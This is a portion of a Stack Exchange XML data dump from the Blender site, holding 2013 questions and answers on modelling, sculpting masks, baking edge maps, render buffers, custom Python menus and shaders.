  <row Id="3368" PostTypeId="2" ParentId="734" CreationDate="2013-10-17T02:44:20.957" Score="6" Body="&lt;p&gt;Just to be complete:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first and original method to achieve that is still there: &lt;em&gt;Autosmooth&lt;/em&gt;.&#xA;It works like an &lt;em&gt;Edge Split&lt;/em&gt; set to &lt;em&gt;Edge Angle&lt;/em&gt;. The drawback is that the effect isn't visible in the viewport. The modifier is somwhat superior by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vewp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-10-17T02:44:20.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3369" PostTypeId="2" ParentId="3337" CreationDate="2013-10-17T03:14:14.517" Score="13" Body="&lt;p&gt;Using the Displacement feature in Nodes with an appropriate Texture:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't care about actually displacing the mesh, this Nodes setup is certainly one simple way to create something like what you've displayed:&lt;img src=&quot;https://i.stack.imgur.com/zQrED.png&quot; alt=&quot;Bump Displacement&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you need to displace the mesh, change the Object Data tab's&#xA;Displacement setting to True. Just know that you will need a&#xA;tremendous mesh resolution and/or Subdivision to get the equivalent&#xA;sorts of bumps:&lt;img src=&quot;https://i.stack.imgur.com/zoHEQ.png&quot; alt=&quot;True Displacement&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="621" LastEditorUserId="621" LastEditDate="2013-10-17T15:47:01.433" LastActivityDate="2013-10-17T15:47:01.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3370" PostTypeId="1" AcceptedAnswerId="3371" CreationDate="2013-10-17T03:49:32.430" Score="6" ViewCount="8684" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/3337/procedurally-generating-wear-on-an-object&quot;&gt;previous question&lt;/a&gt;,&#xA;is it possible to generate a black and white map based on the sharpness of edges and corners of a mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. to use as a map to make procedural texture displacements more intense on edges and corners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2020-05-28T22:38:04.867" Title="Is it possible to generate an image based on edges and corners?" Tags="&lt;texturing&gt;&lt;image&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3371" PostTypeId="2" ParentId="3370" CreationDate="2013-10-17T05:46:18.673" Score="3" Body="&lt;h1&gt;Vertex Colors&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Yes, you can use vertex colors.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UV map the mesh.&lt;/li&gt;&#xA;&lt;li&gt;Enter vertex color paint&lt;/li&gt;&#xA;&lt;li&gt;Paint Menu -&gt; Dirty Vertex Colors&lt;br&gt;(adjust angle to suit preference)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Setup for baking:&#xA;* Make the material to use vertex colors (so they render in the viewport).&#xA;* bake the vertex colors into an image.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; 2.70 - when its released, &lt;em&gt;(or any recent build)&lt;/em&gt; has the ability to bake vertex colors directly so you don't have to worry about setting up the material.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Ambient Occlusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can configure AO to shadow sharp edges (with inverted normals) and bake that into an image too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-10-29T23:26:12.457" LastActivityDate="2013-10-29T23:26:12.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3373" PostTypeId="1" AcceptedAnswerId="3375" CreationDate="2013-10-17T07:00:40.960" Score="4" ViewCount="539" Body="&lt;p&gt;My problem, as you can see on the image below, is basically that the subsurf interpolation of the centered hole in that mirrored plane does not transform into a circle as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is completely correct, since it just takes into account the additional vertex on the mirror axis, but is there any clever way to fix or work around this except fiddling around with the vertices manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0KnH.jpg&quot; alt=&quot;Three quad holes on a mirrored subsurf object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="599" LastEditDate="2013-10-17T20:53:13.220" LastActivityDate="2013-10-17T21:01:25.230" Title="Cutting centered hole in mirrored object with subsurf" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3374" PostTypeId="2" ParentId="3373" CreationDate="2013-10-17T08:31:40.447" Score="2" Body="&lt;p&gt;You can turn the topology around to use a triangle mirrored to get a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PA3Y5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example after the mesh is mirrored you have a whole with six vertices around it, which is causing the distortion. you need to consider the mesh as it is generated after the mirror modifier.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-17T08:31:40.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3375" PostTypeId="2" ParentId="3373" CreationDate="2013-10-17T14:35:22.727" Score="5" Body="&lt;p&gt;A quad won't give you a &lt;a href=&quot;https://blender.stackexchange.com/q/2837/599&quot; title=&quot;Question about the Catmull Clark subdivision&quot;&gt;real circle&lt;/a&gt; anyway. If you look at your example, the outer holes are still bulging a little in the corners. That's due to the algorithm and can't be helped. Six or 8 sides are much more precise. So, since you have 4 (6 with mirroring) verts in the middle, turn it into a hexagon or use 8 to have a nice clean result. Depending on what you want to do with the hole, an additional facering around the holes can be helpful as well as makeing a nice and undistorted bevel later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BEtaO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2013-10-17T21:01:25.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3376" PostTypeId="2" ParentId="3370" CreationDate="2013-10-17T18:28:21.460" Score="4" Body="&lt;p&gt;As Ideasman42 hinted, it is possible to invert the normals and bake AO to get what you want. However, this doesn't work at all times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works like this. Normally when baking AO you want holes and dents in your mesh to be darker. Not the same amount of light reaches those areas. This can also be used for dirt. If we instead want to mark the protruding edges we can invert the normals. A protruding edge is converted into a dent (sort of). It will render darker when baking AO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tweak must be done. If you bake a cube 2 units wide it will be baked totally black. Rays for the inside of the cube (because the normals are inverted) will hit the opposite side of the cube. The Ray length must be set very short. Here are the settings for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8EZW.png&quot; alt=&quot;Ray length&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A downside of this method is that it works porly with self intersecting geometry. Rays from the inside will hit the self intersecting pieces and render dark where you don't want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex colours strike me as the superior method in most cases.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Comparison&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Made a simple test to compare them both:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the vertex paint method I hade to subdivide some to get the desired effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpkBy.png&quot; alt=&quot;Vertex paint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With baking AO I hade to save the image and edit it externaly (inversion and contrast). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kruKq.png&quot; alt=&quot;baking AO&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-10-17T18:37:44.273" LastActivityDate="2013-10-17T18:37:44.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3377" PostTypeId="1" CreationDate="2013-10-17T19:48:04.633" Score="4" ViewCount="1302" Body="&lt;p&gt;I accidentally saved a large research project in a single &lt;code&gt;.blend&lt;/code&gt; file and closed it. It is 304.4MB and it crashes blender every time I try to open it on several different windows 64-bit and 32-bit machines with relatively powerful GPUs (Quadro 4000, GTX 670, GTX 690).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to extract anything out of this file and/or break-up the file perhaps as a way to work around this?&lt;/p&gt;&#xA;" OwnerUserId="1452" LastEditorUserId="12" LastEditDate="2013-10-17T19:51:27.023" LastActivityDate="2013-10-17T20:09:13.307" Title="Open or extract parts of a very large .blend file" Tags="&lt;workflow&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3378" PostTypeId="2" ParentId="3377" CreationDate="2013-10-17T20:09:13.307" Score="2" Body="&lt;p&gt;Borrowing an extract from &lt;a href=&quot;https://blender.stackexchange.com/a/83/12&quot;&gt;RolandiXor's answer&lt;/a&gt;, you can create several new files and append pieces out of the large&lt;code&gt;.blend&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Appending&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;This creates a full copy of the existing data, which you can modify without issue and include in the file you are editing. You do not need to keep both files together. You are also fully able to edit the appended data (such as an object, material, or scene) without affecting the original file from which you appended.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Appended objects have an orange outline when first appended (with the default theme), but once you deselect them, then select them again, they show as normal objects do.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you enter the blend file, you will be shown several directories, these are the categories in which a general scene is grouped. I would suggest moving large models &lt;em&gt;(located in Objects)&lt;/em&gt; into their own files &lt;em&gt;(and adjusting any modifiers that might be on them such as subsurf)&lt;/em&gt; and if you need to recreate the scene again, use the other technique which is &lt;em&gt;Linking&lt;/em&gt; which will allow you can attend to specific models without all the overhead of a cluttered scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It is a very good idea&lt;/em&gt; &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;to keep large scenes that consist of several models, multiple textures and effect systems in one file but to rather distribute these over several files and then link these into one file.&lt;/em&gt; The advantages of doing this are numerous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To efficiently work with a heavy scene or dense meshes, you can find &lt;a href=&quot;https://blender.stackexchange.com/q/2520/12&quot;&gt;several tips here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-10-17T20:09:13.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3379" PostTypeId="1" AcceptedAnswerId="3384" CreationDate="2013-10-17T21:24:21.953" Score="7" ViewCount="12077" Body="&lt;p&gt;When I am sculpting in dynamic topology I can hide part of my mesh, and it not only works as a 100% mask, but it also hides this part of mesh in dynatopo as well. I find it &lt;strong&gt;extremely&lt;/strong&gt; useful when I sculpt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve something similar with multirez? I would like to be able to achieve masking either through vertex weights or selection. In many cases it would give more precise mask than drawing it in sculpting mode.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="14" LastEditDate="2013-12-19T21:53:02.460" LastActivityDate="2013-12-19T21:53:02.460" Title="Masking for sculpting through edit mode" Tags="&lt;sculpting&gt;&lt;masking&gt;&lt;dynamic-topology&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3381" PostTypeId="5" CreationDate="2013-10-17T23:11:52.440" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-17T23:11:52.440" LastActivityDate="2013-10-17T23:11:52.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3382" PostTypeId="4" CreationDate="2013-10-17T23:11:52.440" Score="0" Body="Questions related to masking. Masking is used for many different things, such as compositing, hiding geometry, etc." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-17T23:11:52.440" LastActivityDate="2013-10-17T23:11:52.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3383" PostTypeId="2" ParentId="3290" CreationDate="2013-10-18T03:09:57.113" Score="17" Body="&lt;p&gt;Use the &quot;Apply Visual Transform&quot; operator. You can find it in the &quot;Apply&quot; submenu of the &quot;Object&quot; menu in the 3D view header or by pressing &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;.&lt;br&gt;&#xA;This way you don't need to bake the simulation and don't loose the rigid body settings.&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2013-10-18T03:09:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3384" PostTypeId="2" ParentId="3379" CreationDate="2013-10-18T09:08:29.070" Score="8" Body="&lt;p&gt;The short answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode you can hide individual vertices, which also remain hidden in sculpt mode. Dynamic topology respects these hidden vertices as it is working directly with the mesh you have partly hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multires modifier works differently as it creates new vertices that are stored within the modifier, it isn't changing the existing mesh, therefore the multires doesn't hide vertices generated around the original vertices you have hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sculpting you have several options to adjust visibility of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to make only a section of your model visible&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;H&lt;/kbd&gt; to hide sections of you mesh&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to unhide sections of your mesh&lt;/li&gt;&#xA;&lt;li&gt;Use a Mask brush &lt;kbd&gt;M&lt;/kbd&gt; to paint out parts that you don't want to sculpt on&lt;/li&gt;&#xA;&lt;li&gt;Hide parts that have been masked out with mask brush &lt;code&gt;Hide/Mask-&amp;gt;Hide Masked&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using dynamic topology or multires modifier has no effect on these methods, they are always available.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-18T09:08:29.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3385" PostTypeId="2" ParentId="3363" CreationDate="2013-10-18T09:24:47.683" Score="1" Body="&lt;p&gt;You have to rerender each frame in order to update the comp. You can do this by pressing &lt;kbd&gt;F12&lt;/kbd&gt; to render the whole scene or clicking the render icon on the layer node to render just that layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEbqv.png&quot; alt=&quot;Render a layer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be simple to add the possibility of rerendering when the frame is changed, but in reality most renders take several minutes (sometimes hours, or days) to render and thus accidentally changing the frame would clear the render and you would have to wait for it to finish again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this option could be disabled by default, but I don't see any serious use coming from this and thus it's not worth the effort to code.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-10-18T09:24:47.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3386" PostTypeId="1" AcceptedAnswerId="3387" CreationDate="2013-10-18T12:57:26.423" Score="2" ViewCount="1192" Body="&lt;p&gt;When I render an image that could take hours to finish is there a way that I can save the render  at every hour, so that if my computer crashes I do not loose everything?&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2021-04-01T13:24:59.857" Title="Rendering - Save Intermediate" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3387" PostTypeId="2" ParentId="3386" CreationDate="2013-10-18T13:35:12.753" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sghWh.png&quot; alt=&quot;Save buffers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the performance panel (for either BI or Cycles), there's a &lt;em&gt;Save Buffers&lt;/em&gt; option which will save the render to a layered EXR file in your temp directory quite often. I could be mistaken, but I think it's each time it starts a new tile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows, this temp directory is located at &lt;code&gt;C:\Users\[name]\AppData\Local\Temp\&lt;/code&gt; by default, but will use the path specified in &lt;em&gt;User Preferences &gt; File &gt; Temp&lt;/em&gt; if set.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="599" LastEditDate="2013-10-18T20:06:47.490" LastActivityDate="2013-10-18T20:06:47.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3388" PostTypeId="2" ParentId="3364" CreationDate="2013-10-18T15:18:19.130" Score="1" Body="&lt;p&gt;If you switch back to BI then select texture paint, then you can go back to cycles to paint and the outlines should stay. I think it is a bug because it turns off sometimes until you switch back and forth again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Blqn1.png&quot; alt=&quot;test&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-10-18T15:18:19.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3389" PostTypeId="2" ParentId="3337" CreationDate="2013-10-18T16:46:19.947" Score="33" Body="&lt;p&gt;A completely different way of simulating wear on an object, with the benefit of using only Modifiers, is Decimate in conjunction with Subsurf. The attached screenshot shows the default cube simply run through Remesh, Decimate-&gt;Collapse, Decimate-&gt;Un-Subdivide, then Subsurf. There is a lot of flexibility in this approach; changing almost any of the parameters in any of the modifiers subtly alters the distortions on the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5EP30.png&quot; alt=&quot;Simulating Wear Using Decimate&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-10-18T16:46:19.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3390" PostTypeId="1" AcceptedAnswerId="3396" CreationDate="2013-10-18T20:28:21.557" Score="14" ViewCount="35451" Body="&lt;p&gt;Is it possible to select all objects that have a particular material assigned to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if I have many objects that use the same material and I want to select them for &lt;em&gt;Copy to Selected&lt;/em&gt;, how can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="185" LastEditDate="2013-10-19T08:15:17.130" LastActivityDate="2017-01-18T22:25:32.027" Title="How to select objects based on materials?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3391" PostTypeId="1" AcceptedAnswerId="3431" CreationDate="2013-10-18T20:39:32.903" Score="13" ViewCount="3680" Body="&lt;p&gt;Is it possible to make an &lt;a href=&quot;http://en.wikipedia.org/wiki/Opalescence&quot; rel=&quot;nofollow noreferrer&quot;&gt;Opalescent&lt;/a&gt; shader in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Opalescence&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Opalescence&lt;/strong&gt; is a type of dichroism seen in highly dispersed systems&#xA;  with little opacity. The material appears yellowish-red in transmitted&#xA;  light and blue in the scattered light perpendicular to the transmitted&#xA;  light. The phenomenon is named after the appearance of opals.&lt;br&gt;&#xA;  &lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Why_is_the_sky_blue.jpg/320px-Why_is_the_sky_blue.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Why_is_the_sky_blue.jpg/320px-Why_is_the_sky_blue.jpg&quot; alt=&quot;opalescence example from wikipedia&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I attempted to do something similar by mixing to glass shaders with &lt;em&gt;IsCamera ray&lt;/em&gt; as the factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2uSdd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the color of each glass shader is getting mixed, so the color of the object is not separate from the color of the caustics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IDaXI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make a shader with separate color inputs for the caustics and the object itself? Or if it's possible, make a more physically based opalescence shader?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt; I managed to separate the caustics from the object with this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ooTX3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't seem to mix them. Here are results with the &lt;em&gt;Factor&lt;/em&gt; of the last mix node at &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;.5&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5myMt.png&quot; alt=&quot;mix factor of 0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/25GCk.png&quot; alt=&quot;mix factor of .5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KFOo.png&quot; alt=&quot;mix factor of 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not expect setting the factor to &lt;code&gt;.5&lt;/code&gt; to work, though I'm not sure why using an &lt;em&gt;Add&lt;/em&gt; node blows it out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rO1f1.png&quot; alt=&quot;With add node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could composite these together, but I would prefer to have it work in one material if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.003" LastActivityDate="2015-08-19T12:57:51.627" Title="Is it Possible to Create an Opalescence Shader in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3392" PostTypeId="1" CreationDate="2013-10-18T21:04:50.483" Score="3" ViewCount="4855" Body="&lt;p&gt;I did a &quot;film grain&quot; test by animating the seed value in Cycles, and rendered at 1080p (1920x1080). I originally rendered the png sequence into an AVI JPG format (300mb) and uploaded it to Youtube, but Youtube compressed it to the point where most of the actual noise is no longer visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a couple other formats because Youtube specified H.264 as it's ideal format. MPEG-4 compression didn't have good results and I got an error if I tried to increase the bit-rate past 2000. I finally tried the H.264 encoding preset and checked Lossless Output, 50,000 Bit Rate, GOP Size = 1 (I'm not sure what this does), and the results are pretty close to the same noise level as the original AVI JPG. However I uploaded this to Youtube and got the same poor results as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What output settings should I be using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here's the Youtube link: &lt;a href=&quot;http://www.youtube.com/watch?v=xmei5DSmkbQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=xmei5DSmkbQ&lt;/a&gt;&#xA;And the H.264 with H.264 encoding good version on my Google Drive: &lt;a href=&quot;https://docs.google.com/file/d/0B7W-I44-6uuSOHlUSFRqYTVjWWM/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/file/d/0B7W-I44-6uuSOHlUSFRqYTVjWWM/edit?usp=sharing&lt;/a&gt; (80mb) You need to download it to view it properly.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yOnSJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I like the results of the test, but I still need to figure out the proper encoding for HD videos for Youtube in general either way.&lt;/p&gt;&#xA;" OwnerUserId="737" LastEditorUserId="2217" LastEditDate="2014-06-28T23:58:09.917" LastActivityDate="2014-06-28T23:58:09.917" Title="What are the proper output settings for 1080p HD animation for Yotube?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2013-12-11T07:47:10.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="3393" PostTypeId="1" AcceptedAnswerId="3403" CreationDate="2013-10-18T21:14:58.063" Score="8" ViewCount="6649" Body="&lt;p&gt;Blender has a built in template for adding a custom menu to the main header (INFO_HT_header). This can be found by going into the text editor under templates-&gt;Python-&gt;UI Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I relocate this custom menu to be inserted between &quot;Window&quot; and &quot;Help&quot; sub menus? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2019-12-03T23:40:39.403" Title="Add Custom Menu at Specific Location in the Header" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3394" PostTypeId="1" AcceptedAnswerId="3418" CreationDate="2013-10-18T21:22:18.733" Score="3" ViewCount="1090" Body="&lt;p&gt;Is there a way to use the Blender Text Editor for adding a custom menu and not get a duplicate every time I click on &quot;Run Script&quot; to test the menu? For example, in the text editor, load the template like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Template -&gt; Python -&gt; UI&lt;/em&gt; Menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then notice every time you press &quot;Run Script&quot; you get another menu in your main menu bar. How can I update my menu without getting a duplicate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried simply commenting out &lt;code&gt;register()&lt;/code&gt; but then new updates don't show up.&lt;/p&gt;&#xA;" OwnerUserId="1458" LastEditorUserId="12" LastEditDate="2013-10-18T22:17:17.993" LastActivityDate="2013-12-28T22:17:38.567" Title="Adding Custom Menu &quot;Run Script&quot; Button Causes Duplicate" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3395" PostTypeId="1" AcceptedAnswerId="3405" CreationDate="2013-10-18T21:35:55.600" Score="3" ViewCount="693" Body="&lt;p&gt;Is there a way to sculpt(while in sculpt mode) a separate object in a scene such that it conforms to the surface of another object without passing through that object? Essentially can another object act as a mask for sculpting a separate object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f71l5.jpg&quot; alt=&quot;multi object sculpt issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNPIY.jpg&quot; alt=&quot;intersection problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1459" LastEditorUserId="1459" LastEditDate="2013-10-19T15:29:26.810" LastActivityDate="2013-10-19T18:21:37.343" Title="Non intersecting objects" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
